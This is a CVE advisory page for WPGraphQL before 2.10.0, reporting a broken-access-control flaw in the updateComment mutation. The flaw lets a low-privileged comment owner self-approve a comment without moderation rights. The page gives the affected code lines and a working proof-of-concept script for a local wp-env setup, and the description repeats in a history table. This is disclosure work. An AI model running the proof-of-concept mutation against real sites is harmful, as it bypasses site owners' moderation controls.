WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Metrics
Affected Vendors & Products
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References
History
Tue, 24 Mar 2026 02:30:00 +0000
| Type | Values Removed | Values Added |
|---|---|---|
| Description | WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content. | |
| Title | WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission | |
| Weaknesses | CWE-862 | |
| References |
| |
| Metrics |
cvssV3_1
|
MITRE
Status: PUBLISHED
Assigner: GitHub_M
Published:
Updated: 2026-03-23T23:58:57.345Z
Reserved: 2026-03-18T18:55:47.426Z
Link: CVE-2026-33290
Vulnrichment
No data.
NVD
Status : Received
Published: 2026-03-24T01:17:01.677
Modified: 2026-03-24T01:17:01.677
Link: CVE-2026-33290
Redhat
No data.
OpenCVE Enrichment
No data.